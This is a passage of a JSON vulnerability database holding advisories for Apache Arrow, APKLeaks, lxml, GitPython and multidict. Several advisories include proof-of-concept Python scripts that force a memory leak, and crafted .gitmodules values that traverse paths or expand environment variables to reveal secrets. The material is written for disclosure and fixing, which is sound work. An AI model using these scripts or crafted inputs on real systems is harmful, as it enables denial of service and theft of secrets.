hile investigating UBSAN errors in https://github.com/apache/arrow/pull/5365 it was discovered Apache Arrow versions 0.12.0 to 0.14.1, left memory Array data uninitialized when reading RLE null data from parquet. This affected the C++, Python, Ruby and R implementations. The uninitialized memory could potentially be shared if are transmitted over the wire (for instance with Flight) or persisted in the streaming IPC and file formats.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://lists.apache.org/thread.html/49f067b1c5fb7493d952580f0d2d032819ba351f7a78743c21126269%40%3Cdev.arrow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/efd8bbf57427d3c303b5316d208a335f8d0c0dbe0dc4c87cfa995073%40%3Cannounce.apache.org%3E"},{"type":"ADVISORY","url":"http://www.openwall.com/lists/oss-security/2019/11/08/1"}]},{"schema_version":"1.7.3","id":"BREW-apache-arrow-CVE-2026-25087","published":"2026-10-13T04:40:29Z","modified":"2026-11-04T00:39:47Z","upstream":["CVE-2026-25087","GHSA-rgxp-2hwp-jwgg","PYSEC-2026-113"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apache-arrow","purl":"pkg:brew/apache-arrow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"15.0.0"},{"fixed":"23.0.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"23.0.1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/apache/arrow","subject_version":"26.0.1","key":"https://github.com/apache/arrow"},{"strategy":"registry","ecosystem":"PyPI","name":"pyarrow","subject_version":"26.0.1","key":"pkg:pypi/pyarrow@26.0.1"},{"strategy":"distro","ecosystem":"Debian","name":"apache-arrow","key":"Debian/apache-arrow"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/apache/arrow","subject_version":"26.0.1","key":"upstream:https://github.com/apache/arrow"},{"strategy":"distro","ecosystem":"PyPI","name":"pyarrow","subject_version":"26.0.1","key":"upstream:pkg:pypi/pyarrow@26.0.1"}]},"summary":"Apache Arrow: Potential use-after-free when reading IPC file with pre-buffering","details":"Use After Free vulnerability in Apache Arrow C++.\n\nThis issue affects Apache Arrow C++ from 15.0.0 through 23.0.0. It can be triggered when reading an Arrow IPC file (but not an IPC stream) with pre-buffering enabled, if the IPC file contains data with variadic buffers (such as Binary View and String View data). Depending on the number of variadic buffers in a record batch column and on the temporal sequence of multi-threaded IO, a write to a dangling pointer could occur. The value (a `std::shared_ptr<Buffer>` object) that is written to the dangling pointer is not under direct control of the attacker.\n\nPre-buffering is disabled by default but can be enabled using a specific C++ API call (`RecordBatchFileReader::PreBufferMetadata`). The functionality is not exposed in language bindings (Python, Ruby, C GLib), so these bindings are not vulnerable.\n\nThe most likely consequence of this issue would be random crashes or memory corruption when reading specific kinds of IPC files. If the application allows ingesting IPC files from untrusted sources, this could plausibly be exploited for denial of service. Inducing more targeted kinds of misbehavior (such as confidential data extraction from the running process) depends on memory allocation and multi-threaded IO temporal patterns that are unlikely to be easily controlled by an attacker.\n\nAdvice for users of Arrow C++:\n\n1. check whether you enable pre-buffering on the IPC file reader (using `RecordBatchFileReader::PreBufferMetadata`)\n\n2. if so, either disable pre-buffering (which may have adverse performance consequences), or switch to Arrow 23.0.1 which is not vulnerable","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H"}],"references":[{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/02/17/4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25087.json"},{"type":"ADVISORY","url":"https://lists.apache.org/thread/mpm4ld1qony30tchfpjtk5b11tcyvmwh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25087"},{"type":"FIX","url":"https://github.com/apache/arrow/pull/48925"}]}],"apkleaks":[{"schema_version":"1.7.3","id":"BREW-apkleaks-CVE-2021-21386","published":"2026-08-13T16:35:54Z","modified":"2026-09-09T23:41:33Z","upstream":["CVE-2021-21386","GHSA-8434-v7xw-8m9x","PYSEC-2026-281"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apkleaks","purl":"pkg:brew/apkleaks"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.3_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/dwisiswant0/apkleaks","subject_version":"2.6.3","key":"https://github.com/dwisiswant0/apkleaks"},{"strategy":"registry","ecosystem":"PyPI","name":"apkleaks","subject_version":"2.6.3","key":"pkg:pypi/apkleaks@2.6.3"}]},"details":"APKLeaks is an open-source project for scanning APK file for URIs, endpoints & secrets. APKLeaks prior to v2.0.3 allows remote attackers to execute arbitrary OS commands via package name inside application manifest. An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior through malicious package name. The problem is fixed in version v2.0.6-dev and above.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"FIX","url":"https://github.com/dwisiswant0/apkleaks/commit/a966e781499ff6fd4eea66876d7532301b13a382"},{"type":"FIX","url":"https://github.com/dwisiswant0/apkleaks/security/advisories/GHSA-8434-v7xw-8m9x"}]},{"schema_version":"1.7.3","id":"BREW-apkleaks-CVE-2026-41066","published":"2026-08-13T16:35:54Z","modified":"2026-10-08T00:11:15Z","upstream":["GHSA-vfmq-68hx-4jfw","CVE-2026-41066","PYSEC-2026-87"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apkleaks","purl":"pkg:brew/apkleaks"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1"},{"fixed":"2.6.3_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"6.1.0","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.1","key":"pkg:pypi/lxml@6.1.1","resource":"lxml"}]},"summary":"lxml: Default configuration of iterparse() and ETCompatXMLParser() allows XXE to local files","details":"### Impact\nUsing either of the two parsers in the default configuration (with `resolve_entities=True`) allows untrusted XML input to read local files.\n\n### Patches\nlxml 6.1.0 changes the default to `resolve_entities='internal'`, thus disallowing local file access by default.\n\n### Workarounds\nSetting the `resolve_entities` option explicitly to `resolve_entities='internal'` or `resolve_entities=False` disables the local file access.\n\n### Resources\nOriginal report: https://bugs.launchpad.net/lxml/+bug/2146291\n\nThe default option was changed to `resolve_entities='internal'` for the normal XML and HTML parsers in lxml 5.0. The default was not changed for `iterparse()` and `ETCompatXMLParser()` at the time. lxml 6.1 makes the safe option the default for all parsers.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lxml/lxml/security/advisories/GHSA-vfmq-68hx-4jfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41066"},{"type":"WEB","url":"https://bugs.launchpad.net/lxml/+bug/2146291"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/lxml/lxml/releases/tag/lxml-6.1.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2026-87.yaml"}]}],"apm":[{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-100689","published":"2026-10-01T09:33:26Z","modified":"2026-10-22T08:48:53Z","upstream":["GHSA-59cr-6r3x-644w","CVE-2026-100689"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.30.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.62","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.2.1","key":"pkg:pypi/gitpython@3.2.1","resource":"gitpython"}]},"summary":"GitPython submodule update path traversal can write outside the repository","details":"**Affected:** `GitPython` **3.1.61** (latest release) and `main` — `git/objects/submodule/base.py`. `git diff 3.1.61 origin/main -- git/objects/submodule/` is empty, so both are identical here.\n\n---\n\n## The gap\n\nThe fix for `GHSA-hmq2-w58f-27jc` added `Submodule._validated_name()` and wired it into `update()` and five siblings, closing the `.gitmodules` **name** → `.git/modules/<name>` traversal. The other attacker-controlled `.gitmodules` field, **`path`**, is read raw:\n\n```python\n# git/objects/submodule/base.py:172-177\ndef _set_cache_(self, attr):\n    if attr in (\"path\", \"_url\", \"_branch_path\"):\n        reader = self.config_reader()\n        self.path = reader.get(\"path\")          # raw .gitmodules value\n```\n\nand GitPython's own containment guard is applied in only two of the places that consume it:\n\n```\n400: def _to_relative_path(cls, parent_repo, path)      # the guard (abspath + commonpath containment)\n542:     path = cls._to_relative_path(repo, path)        # add()   — guarded\n1041:    module_checkout_path = self._to_relative_path(self.repo, module_path)   # move() — guarded\n```\n\n`update()` validates only the name and then uses the path-derived absolute location directly:\n\n```\n788:  self._validated_name(self.name)                    # NAME only\n801:  checkout_module_abspath = self.abspath             # derived from self.path — unguarded\n821:  os.makedirs(checkout_module_abspath, exist_ok=True)\n```\n\nSo `path = ../../../tmp/escaped` in an attacker-authored `.gitmodules` selects the directory that gets created and, on the clone path, populated from the submodule URL. The same absolute location is what `force_remove` hands to `shutil.rmtree`.\n\nThe asymmetry is the argument: this is not a missing concept — the project wrote `_to_relative_path()` precisely for this, and `add()`/`move()` use it. `update()` does not.\n\n## Honest limits (please read before rating)\n\n- **The most common flow is not affected.** `Repo.clone_from(...)` → `repo.submodules` → `sm.update(init=True)` re-derives `path` from a canonical tree lookup, and real git refuses to check out a tree containing a `..` component, so an evil `.gitmodules` never lands in the working tree in the first place. A reachable trigger therefore requires the victim's code to name a **non-HEAD commit** (a historical-commit API such as `submodule_update(previous_commit=...)`).\n- **The researcher did not build that end-to-end trigger.** The researcher only verified first-hand the code above: the guard's two call sites, the name-only validation in `update()`, and the unguarded `abspath` → `os.makedirs()` flow at 3.1.61 == `main`.\n\n## Suggested fix\n\nApply the guard the project already has, wherever the path is consumed:\n\n```python\n# in update(), before deriving abspath (and in any other consumer of self.path):\ncheckout_rel = self._to_relative_path(self.repo, self.path)   # raises if it escapes the working tree\n```\n\nBetter still, validate at the boundary: reject a `.gitmodules` entry whose `path` is absolute or contains a `..` component when the section is first read in `_set_cache_()`/`iter_items()`, so no consumer can be added later without the check. A regression test with `path = ../escaped` alongside the existing `name` test would pin both fields.\n\n## Prior art checked\n\n`GHSA-hmq2-w58f-27jc` (this is a residual of its fix, in the sibling field, not a re-report) plus the repository's 30 published advisories — none mentions the `path` field or `_to_relative_path`. Searched issues and PRs for `_to_relative_path`, `gitmodules path` and `submodule traversal`: no report of this.\n\n## Credit\n\n**kta1kri**.\n\n\n---\n\n## Appendix — `EVIDENCE_gitpython_path_unguarded_20260901.txt` (inlined; advisories accept no attachments)\n\n```text\n=== EVIDENCE: GitPython — the .gitmodules 'path' field reaches os.makedirs()/clone unguarded ===\nMon Aug 31 18:45:22 UTC 2026\n\n--- artifact: tag 3.1.61 (latest release); git diff 3.1.61 origin/main -- git/objects/submodule/ is empty ---\n\n--- the containment guard GitPython owns, and its only two call sites ---\n33:    _to_relative_path,\n400:    def _to_relative_path(cls, parent_repo: \"Repo\", path: PathLike) -> PathLike:\n407:            path = _to_relative_path(parent_repo.working_tree_dir, path)\n542:        path = cls._to_relative_path(repo, path)\n1041:        module_checkout_path = self._to_relative_path(self.repo, module_path)\n\n--- the parent fix (_validated_name) call sites: it validates the NAME ---\n309:    def _validated_name(cls, name: str) -> str:\n321:        name = cls._validated_name(name)\n541:        cls._validated_name(name)\n788:            self._validated_name(self.name)\n1040:        self._validated_name(self.name)\n1181:        self._validated_name(self.name)\n1439:        self._validated_name(self.name)\n1440:        self._validated_name(new_name)\n1489:        self._validated_name(self.name)\n\n--- update(): name validated, path not; abspath -> os.makedirs ---\n\n        try:\n            self._validated_name(self.name)\n\n            # ENSURE REPO IS PRESENT AND UP-TO-DATE\n                # END early abort if init is not allowed\n\n                checkout_module_abspath = self.abspath\n                module_abspath = self._module_abspath(self.repo, self.path, self.name)\n\n                # ``git submodule deinit`` leaves the repository in\n                # ``.git/modules`` and empties the checkout. Reconnect that retained\n                # repository instead of trying to clone over it.\n                if not dry_run and osp.isdir(module_abspath):\n                    try:\n                        git.Repo(module_abspath)\n                    except InvalidGitRepositoryError:\n                        pass\n                    else:\n                        if osp.lexists(checkout_module_abspath) and (\n                            osp.islink(checkout_module_abspath)\n                            or not osp.isdir(checkout_module_abspath)\n                            or os.listdir(checkout_module_abspath)\n                        ):\n                            raise OSError(\n                                \"Module directory at %r does already exist and is non-empty\" % checkout_module_abspath\n                            )\n                        os.makedirs(checkout_module_abspath, exist_ok=True)\n                        self._write_git_file_and_module_config(checkout_module_abspath, module_abspath)\n                        mrepo = git.Repo(checkout_module_abspath)\n\n--- where self.path comes from (raw .gitmodules value) ---\n    def _set_cache_(self, attr: str) -> None:\n        if attr in (\"path\", \"_url\", \"_branch_path\"):\n            reader: SectionConstraint = self.config_reader()\n            # Default submodule values.\n            try:\n                self.path = reader.get(\"path\")\n            except cp.NoSectionError as e:\n```","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-59cr-6r3x-644w"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2225"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/1ed0ebc2f2e74d979cdc367a4864a7731fdcc093"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.62"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-104874","published":"2026-10-06T09:13:37Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-54p9-h82j-f925","CVE-2026-104874","PYSEC-2026-4244"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.32.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"6.9.1","resource":"multidict","resource_purl":"pkg:pypi/multidict@7.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"multidict","subject_version":"7.2.1","key":"pkg:pypi/multidict@7.2.1","resource":"multidict"}]},"summary":"Multidict: Reference leak in CIMultiDict/MultiDict items-view union and subtraction","details":"## Description\n\nA reference leak in the items-view union and subtraction operators of aio-libs/multidict 6.7.0 through 6.9.0 (C extension) lets a remote client drive unbounded, unreclaimable memory growth by having each operand element leak one key-identity object and one value object. The reflected-union path (`operand | d.items()`, `multidict_itemsview_or2_impl`) and the subtraction path (`d.items() - operand`, `multidict_itemsview_sub1_impl`) parse each element into new strong references but release only the tuple wrapper, never the identity and value. Servers in the aio-libs stack build these views over attacker-supplied HTTP headers and query strings, so the operand size is under remote control. Forced garbage collection does not recover the leaked objects, so resident memory rises monotonically until the process is killed.\n\n---\n\n## Root Cause\n\n`_multidict_itemsview_parse_item()` returns **new** references: a fresh identity via `md_calc_identity()` and a fresh value via `Py_NewRef()`. The `or2_impl` first parse loop requests both but clears only `arg`:\n\n```c\n// views.h:565 — or2_impl first parse loop\nwhile ((st = PyIter_NextItem(iter, &arg)) > 0) {\n    int tmp = _multidict_itemsview_parse_item(\n        self, arg, &identity, NULL, &value);   // identity + value: new refs\n    if (tmp < 0) goto fail;\n    else if (tmp > 0) {\n        if (_set_add(tmp_set, identity, value) < 0) goto fail;\n    }\n    Py_CLEAR(arg);                             // :575 clears arg ONLY\n}\n```\n\n`_set_add()` builds its own tuple with `PyTuple_Pack` and `Py_DECREF`s it, so it never borrows the loop's `identity`/`value`. On the next iteration those variables are overwritten, so the previous references are lost permanently. The `sub1_impl` first loop (`:686-696`) has the identical omission.\n\nThis is an editing slip, not an ownership contract: every sibling path clears all three references per iteration, `and1_impl` (`:304-306`), `and2_impl` (`:389-391`), `or1_impl` (`:506-508`), and the second (`md_next`) loops of both functions (`:605-607`, `:726-728`). PR #1413 added a `Py_DECREF(tpl)` to the *second* loop of `or2`/`sub1`, fixing a different temporary-tuple leak; it never touched the first parse loop, so this leak remains on `master`.\n\n`views.h` is byte-identical between `v6.6.0` and `v6.7.0`, yet 6.6.4 does not leak and 6.7.0 does. The regression is behavioural, introduced by a key-identity ownership change in `hashtable.h` across that boundary that made `md_calc_identity()` return a fresh strong reference the unchanged parse loop never releases.\n\n---\n\n## Reproduction Environment\n\n| Item | Value |\n|------|-------|\n| **Runtime** | CPython 3.14.6 |\n| **multidict** | 6.9.0 (PyPI binary wheel, C extension) |\n| **OS** | macOS (darwin 25.6.0, arm64) |\n\n---\n\n## Proof of Concept\n\n### POC Source Code\n\n#### poc_refcount.py — leak proof with intersection control\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, run_op):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    value = object()                 # unique sentinel\n    N = 100000\n    operand = [(\"k%d\" % i, value) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(value)\n    run_op(d, operand)\n    gc.collect(); after = sys.getrefcount(value)\n    print(f\"[{name}] leaked strong refs = {after - before}\")\n\nprobe(\"or2  operand | items\", lambda d, o: o | d.items())    # reflected union\nprobe(\"sub1 items - operand\", lambda d, o: d.items() - o)    # subtraction\nprobe(\"and2 items & operand\", lambda d, o: d.items() & o)    # CONTROL: clears, expect 0\n```\n\n#### poc_dispatch.py — maps which paths leak\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, fn):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    v = object(); N = 50000\n    operand = [(\"k%d\" % i, v) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(v)\n    fn(d, operand); gc.collect(); after = sys.getrefcount(v)\n    print(f\"{name:35s} leaked={after - before}\")\n\nprobe(\"operand | d.items()  (or2)\",  lambda d, o: o | d.items())\nprobe(\"d.items() | operand  (or1)\",  lambda d, o: d.items() | o)\nprobe(\"d.items() - operand  (sub1)\", lambda d, o: d.items() - o)\nprobe(\"operand - d.items()  (rsub)\", lambda d, o: set(o) - d.items())\nprobe(\"d.items() & operand  (and)\",  lambda d, o: d.items() & o)\n```\n\n#### poc_rss.py — availability consequence\n\n```python\nimport sys, gc, resource\nfrom multidict import CIMultiDict\n\ndef rss_mb():\n    r = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n    return r / (1024 * 1024) if sys.platform == \"darwin\" else r / 1024\n\nd = CIMultiDict(); d[\"seed\"] = \"x\"\ngc.collect(); print(f\"start RSS = {rss_mb():.1f} MB\")\nfor i in range(200):\n    operand = [(f\"k{i}_{j}\", f\"v{i}_{j}\") for j in range(50000)]\n    _ = operand | d.items()\n    del operand\n    gc.collect()                     # prove GC cannot reclaim the leak\n    if (i + 1) % 40 == 0:\n        print(f\"after {(i+1)*50000:>9,} elements: RSS = {rss_mb():.1f} MB\")\n```\n\n### Execution Steps\n\n1. `python3 -m venv venv` (CPython 3.10+).\n2. `./venv/bin/pip install \"multidict==6.9.0\"` (installs the C-extension wheel).\n3. From a directory that is **not** a multidict checkout, run each script with `./venv/bin/python`.\n\n### Actual Execution Evidence\n\n```\n[or2  operand | items] leaked strong refs = 100000\n[sub1 items - operand] leaked strong refs = 100000\n[and2 items & operand] leaked strong refs = 0        <- control\n```\n\n```\noperand | d.items()  (or2)          leaked=50000\nd.items() | operand  (or1)          leaked=0\nd.items() - operand  (sub1)         leaked=50000\noperand - d.items()  (rsub)         leaked=0\nd.items() & operand  (and)          leaked=0\n```\n\n```\nstart RSS = 15.6 MB\nafter 2,000,000 elements: RSS = 288.1 MB\nafter 6,000,000 elements: RSS = 776.8 MB\nafter 10,000,000 elements: RSS = 1266.8 MB   (gc.collect() every iteration)\n```\n\n### Version-boundary evidence\n\nSame `poc_dispatch.py`, PyPI wheels, identical environment. Last-clean is `6.6.4`; first-affected is `6.7.0`:\n\n```\n6.6.4 : or2=0      sub1=0      others=0   (clean, last 6.6.x)\n6.7.0 : or2=50000  sub1=50000  others=0   (AFFECTED, first)\n6.9.0 : or2=50000  sub1=50000  others=0   (affected)\n```\n\nThe clean 6.6.x releases return correct set-operation results, so the zero leak reflects correct memory management, not a broken path.\n\n### Analysis of Results\n\nThe operand holds exactly `N` references to one sentinel value; after the union its refcount rises by another `N` and stays there post-GC, so each element leaked one strong reference. Subtraction shows the identical delta. The intersection control, which clears `identity` and `value`, leaks zero; the only code difference is the two missing `Py_CLEAR` calls, so the leak is caused by that omission and not the harness. RSS climbs from 15.6 MB to 1266.8 MB (~250 MB per 2M elements) despite per-iteration GC, confirming the objects are unreachable by the cyclic collector.\n\n---\n\n## Impact\n\nA process that evaluates items-view unions or subtractions over remote-influenced operands leaks one identity plus one value object per element, permanently. In the aio-libs stack multidict backs HTTP headers and query strings, so an attacker who enlarges the operand (for example, many repeated header items compared against a fixed allow/deny set) forces steady, unrecoverable heap growth and can eventually exhaust memory in a long-lived server. This is an availability defect only; results stay correct and no data is exposed.\n\nReachability depends on the application evaluating `operand | view.items()` (reflected union) or `view.items() - operand` (subtraction) over a sequence of 2-tuples whose count is remote-influenced. The forward union `view.items() | operand` routes to `or1_impl`, which clears correctly and does not leak; a non-tuple operand element takes the `parse_item` early-return and does not leak. Set algebra over items views is not the most common multidict usage, which bounds exposure and is why this is Medium, not High. This is distinct from PR #1413, which fixed a temporary-tuple leak in the second loop and did not release these per-element objects.\n\n---\n\n## Remediation\n\n**Recommended fix.** Clear the two per-element references at the end of the first parse loop in both functions, exactly as every sibling path does. In `or2_impl` (`views.h:575`) and `sub1_impl` (`views.h:696`), replace the lone `Py_CLEAR(arg);` with:\n\n```c\n    Py_CLEAR(arg);\n    Py_CLEAR(identity);\n    Py_CLEAR(value);\n```\n\nThis is an in-repo change to a static internal function; it alters no public API, type, or signature, and asks callers to change nothing. A leak test in the existing `tests/test_leaks.py` style would lock it in.\n\n**Workaround.** Avoid `operand | view.items()` and `view.items() - operand` on attacker-influenced operands, or install with `MULTIDICT_NO_EXTENSIONS=1` to use the unaffected pure-Python build.\n\n---","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/multidict/security/advisories/GHSA-54p9-h82j-f925"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104874"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/commit/350b4a07bf8ff851b6d7544e81b1c748bdc74c40"},{"type":"PACKAGE","url":"https://github.com/aio-libs/multidict"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/releases/tag/v6.9.1"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-110855","published":"2026-10-29T21:30:32Z","modified":"2026-10-29T21:30:32Z","upstream":["GHSA-fx3j-rwgx-fr94","CVE-2026-110855"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.33.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.0","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.2.1","key":"pkg:pypi/gitpython@3.2.1","resource":"gitpython"}]},"summary":"GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name","details":"### Summary\n`Repo._clone()`'s handling of `separate_git_dir` never disables `Git.polish_url()`'s environment-variable expansion, unlike every other caller of that helper that handles attacker-influenced data. Since `separate_git_dir` can be derived from an attacker-controlled `.gitmodules` submodule name, a completely ordinary `clone` + `submodule_update(init=True, recursive=True)` on a malicious repository expands an environment variable of the attacker's choosing and exposes its value both as a persistent on-disk directory name and, whenever DEBUG-level logging is enabled (a common CI/verbose-logging configuration), in a `Popen(...)` log line that is not redacted the way credential-bearing arguments are.\n\n### Root cause / Details\n`git/repo/base.py`'s `_clone()` has:\n\n```python\nsep_dir = kwargs.get(\"separate_git_dir\")\nif sep_dir:\n    kwargs[\"separate_git_dir\"] = Git.polish_url(sep_dir)\n```\n\nThis is the only remaining `Git.polish_url()` call site handling attacker-influenced data that does not pass `expand_vars=False` (there is one other unguarded call site, `clone_path` at line 1537, but its input is the caller's own local destination path, not attacker-controlled). The sibling fixes for `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` added `expand_vars=False` to `clone_url` (5 lines below this one, in the same function), `git/repo/base.py:1599`, `remote.py:814`, and `submodule/base.py:686` — this one did not receive it. (`submodule/root.py` also currently sets `expand_vars=False` at a related call site, but that was added incidentally by a later, unrelated commit, not as part of these security fixes.) `Git.polish_url()`'s docstring itself says: \"Disable this for values obtained from an untrusted source, such as remote URLs.\" Its non-Cygwin branch does plain `os.path.expandvars()` on the entire string, including embedded variables anywhere in an absolute path.\n\n`separate_git_dir` reaches `_clone()` from `Submodule._clone_repo()` (`git/objects/submodule/base.py`) as `module_abspath = osp.join(parent_repo.git_dir, \"modules\", name)`, where `name` is the raw `.gitmodules` submodule section name — fully attacker-controlled content of a cloned repository. `_validated_name()` (added by the fix for `GHSA-hmq2-w58f-27jc`) only rejects names that are absolute, contain a drive letter, or contain `..` path components; it does not reject `$`. `_need_gitfile_submodules()` is true for git ≥ 1.7.5, i.e. the default path for virtually every real-world installation.\n\n### Reproduction (live, against real, unmodified GitPython code, no monkeypatching)\nBuilt a hostile repository with a plain, ordinary git command: `git submodule add --name '$GPY_SECRET_MARKER' ../evil_submodule sub`. Set an environment variable in the \"victim\" process (standing in for a real CI secret such as `AWS_SECRET_ACCESS_KEY`): `GPY_SECRET_MARKER=AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345`. Then ran the exact ordinary workflow the `GHSA-hmq2-w58f-27jc` advisory's own PoC also uses:\n\n```python\nrepo = Repo.clone_from(evil_parent_url, victim_clone_dir)\nrepo.submodule_update(init=True, recursive=True)\n```\n\nObserved result (`ls .git/modules/`):\n\n```\n.git/modules/AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345/   (a full git repo: HEAD, config, objects/, refs/, hooks/)\n```\n\nThe literal `$GPY_SECRET_MARKER`-named directory was never created — only the expanded one exists, proving expansion happened before the value reached the `git clone --separate-git-dir=...` subprocess argument. The persistent, expanded-name directory under `.git/modules/` is itself the primary disclosure channel — it survives on disk for as long as the clone does. A second, independent channel: with the `git.cmd`/`git.repo.base` loggers at DEBUG level (a common CI/verbose-logging setting, not requiring any special flag), GitPython's own `Popen(...)` debug log line prints the fully expanded `--separate-git-dir=<value>` subprocess argument verbatim — `remove_password_if_present()` only redacts URL passwords/Authorization headers, not path-style arguments like this one, so the expanded value is not scrubbed. (The call also fails downstream with an `OSError`/`FileNotFoundError` referencing the original, unexpanded name, since `_write_git_file_and_module_config()` looks for a directory using the pre-expansion name — but that error message itself does not contain the expanded/secret value.)\n\n**Control**: the same call with an ordinary (no `$`) submodule name succeeds normally and creates `.git/modules/<name>` as expected — isolating the gap to submodule names containing environment-variable syntax specifically.\n\n### Already-known check\nChecked all 35 published `gitpython-developers/GitPython` security advisories in full text. `GHSA-hmq2-w58f-27jc` covers the same `name` → `.git/modules/<name>` path but for path-traversal (`../../..`), not variable expansion. `GHSA-59cr-6r3x-644w` covers the sibling `path` field reaching unguarded `os.makedirs()`. `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` cover `expand_vars`, but only on URL arguments. `git log -p -S \"separate_git_dir\" -- git/repo/base.py` shows neither fix commit touches this line; it is unchanged since its 2016 introduction (commit `57d05379`).\n\nThe closest topical match is `GHSA-8mcc-hrx5-hvxc` (\"`clone_from()`/`clone()` omit `--separate-git-dir` from `unsafe_git_clone_options`\") — already fixed, and its own text discusses this same `_clone()` handling of `separate_git_dir`. That fix only added `--separate-git-dir` to the `unsafe_git_clone_options` denylist, which gates the direct-kwarg vector; `Submodule._clone_repo()` explicitly sets `allow_unsafe_options=True` for the gitfile-submodules path, unconditionally bypassing that exact denylist (confirmed: the reproduction above succeeds against current `main`, which already has that fix). The bug this report describes is independent of that denylist — the *value* itself is expanded via `os.path.expandvars()` regardless of the denylist outcome — so the two are distinct, but flagging the relationship explicitly since a reviewer would otherwise reasonably ask about it.\n\nNo advisory describes environment-variable expansion via the internal `separate_git_dir` path.\n\n### Suggested fix\nAdd `expand_vars=False` to the `Git.polish_url(sep_dir)` call in `_clone()`, matching the four other call sites already fixed for the same 